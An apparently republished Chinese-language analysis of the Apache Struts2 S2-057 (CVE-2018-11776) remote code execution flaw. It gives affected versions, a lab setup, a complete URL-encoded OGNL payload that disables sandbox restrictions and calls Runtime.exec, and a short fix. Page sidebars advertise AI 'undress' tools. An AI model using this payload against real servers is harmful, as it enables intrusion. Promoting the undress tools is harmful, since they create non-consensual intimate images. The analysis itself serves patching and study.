如何進行Apache Struts2 S2-057遠端程式碼執行漏洞分析
前言
Apache Struts框架是基於Java Servlets,JavaBeans, 和JavaServer Pages (JSP)的Web應用框架的開源項目,Struts基於Model-View-Controller (MVC)的設計模式,可以用來構件複雜的Web應用。它允許我們分解一個應用程式的商業邏輯、控制邏輯和表現邏輯的程式碼,使它的重用性和維護性更好。 Struts框架是Jakarta工程的一部分,由Apache軟體基金會管理。
天融信阿爾法實驗室將為你帶來Apache Struts2 S2-057遠端程式碼執行漏洞分析~
一、 漏洞描述
當struts.mapper.alwaysSelectFullNamespace設定為true,並且package標籤頁以及result的param標籤頁的namespace值的缺失,或使用了通配符時可造成namespace被控制,最終namespace會被帶入OGNL語句執行,從而產生遠端程式碼執行漏洞。
1. 受影響的系統版本
Apache Struts 2.3 - Struts 2.3.34
Apache Struts 2.5 - Struts 2.5.16
2.漏洞編號
CVE-2018-11776
二、環境建置
1.下載:http://archive.apache.org/dist/struts/2.3.34/ struts-2.3.34-all.zip
2. 修改設定檔struts-actionchaining.xml
此漏洞有多種攻擊向量包括:
#Redirect action
Action chaining
Postback result
#以第一種為例子,修改設定檔內容為:
##
%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d
固定package標籤頁以及result的param標籤頁的namespace值,以及禁止使用萬用字元。
以上是如何進行Apache Struts2 S2-057遠端程式碼執行漏洞分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

一、前言Struts2漏洞是一個經典的漏洞系列,根源在於Struts2引入了OGNL表達式使得框架具有靈活的動態性。隨著整體框架的修補程式完善,現在想挖掘新的Struts2漏洞會比以前困難很多,從實際了解的情況來看,大部分用戶早就修復了歷史的高風險漏洞。目前在做滲透測試時,Struts2漏洞主要也是碰運氣,或是打到內網之後用來攻擊沒修補的系統會比較有效。網路上的分析文章主要從攻擊利用的角度來分析這些Struts2漏洞。作為新華三攻防團隊,我們的部分工作是維護ips產品的規則庫,今天回顧這個系

Struts2框架的原理:1、攔截器解析請求路徑;2、找出Action的完整類別名稱;3、建立Action物件;4、執行Action方法;5、返回結果;6、視圖解析。它原理基於攔截器的機制,使得業務邏輯控制器與Servlet API完全脫離開,提高了程式碼的可重複使用性和可維護性。透過使用反射機制,Struts2框架可以靈活地建立和管理Action對象,實現請求與回應的處理。

0x00簡介Struts2是Apache軟體組織推出的一個相當強大的JavaWeb開源框架,本質上相當於一個servlet。 Struts2基於MVC架構,框架結構清晰。通常作為控制器(Controller)來建立模型與視圖的資料交互,用於創建企業級Javaweb應用程序,它利用並延伸了JavaServletAPI,鼓勵開發者採用MVC架構。 Struts2以WebWork優秀的設計思想為核心,吸收了Struts框架的部分優點,提供了一個更整潔的MVC設計模式實現的Web應用程式框架。 0x01漏洞

Vulhub漏洞系列:struts2漏洞S2-0011.漏洞描述:struts2漏洞S2-001是當使用者提交表單資料且驗證失敗時,伺服器使用OGNL表達式解析使用者先前提交的參數值,%{value}並重新填入對應的表單資料。例如,在註冊或登入頁面中。如果提交失敗,則伺服器通常預設會傳回先前提交的資料。由於伺服器用於%{value}對提交的資料執行OGNL表達式解析,因此伺服器可以直接發送有效載荷來執行命令。 2.vulhub漏洞利用:用vulhub復現漏洞可以省去環境的搭建過程,相當方便。 vu

前言2018年8月22日,ApacheStrust2發布最新安全公告,ApacheStruts2存在遠端程式碼執行的高風險漏洞(S2-057/CVE-2018-11776),該漏洞由SemmleSecurityResearchteam的安全研究員ManYueMo發現。此漏洞是由於在Struts2開發框架中使用namespace功能定義XML配置時,namespace值未被設定且在上層動作配置(ActionConfiguration)中未設定或以通配符namespace,可能導致遠端程式碼執行。同理,u

0x00簡介Struts2框架是一個用於開發JavaEE網路應用程式的開放原始碼網頁應用程式架構。它利用並延伸了JavaServletAPI,鼓勵開發者採用MVC架構。 Struts2以WebWork優秀的設計思想為核心,吸收了Struts框架的部分優點,提供了一個更整潔的MVC設計模式實現的Web應用程式框架。 0x01漏洞概述ApacheStruts22.3.x系列啟用了struts2-struts1-plugin插件並且存在struts2-showcase目錄,其漏洞成因是當ActionMe

前言ApacheStruts框架是一個基於JavaServlets,JavaBeans,和JavaServerPages(JSP)的Web應用框架的開源項目,Struts基於Model-View-Controller(MVC)的設計模式,可以用來構件複雜的Web應用。它允許我們分解一個應用程式的商業邏輯、控制邏輯和表現邏輯的程式碼,使它的重用性和維護性更好。 Struts框架是Jakarta工程的一部分,由Apache軟體基金會管理。天融信阿爾法實驗室將為你帶來ApacheStruts2S2-057

1.概述Struts是Apache軟體基金會(ASF)贊助的開源專案。它最初是Jakarta項目中的一個子項目,後來成為ASF的頂級項目。它透過採用JavaServlet/JSP技術,實現了基於JavaEEWeb應用的Model-View-Controller〔MVC]設計模式的應用框架〔WebFramework〕,是MVC經典設計模式中的一個經典產品。在JavaEE的Web應用發展的初期,除了使用Servlet技術以外,普遍是在JavaServerPages(JSP)的原始碼中,採用HTM
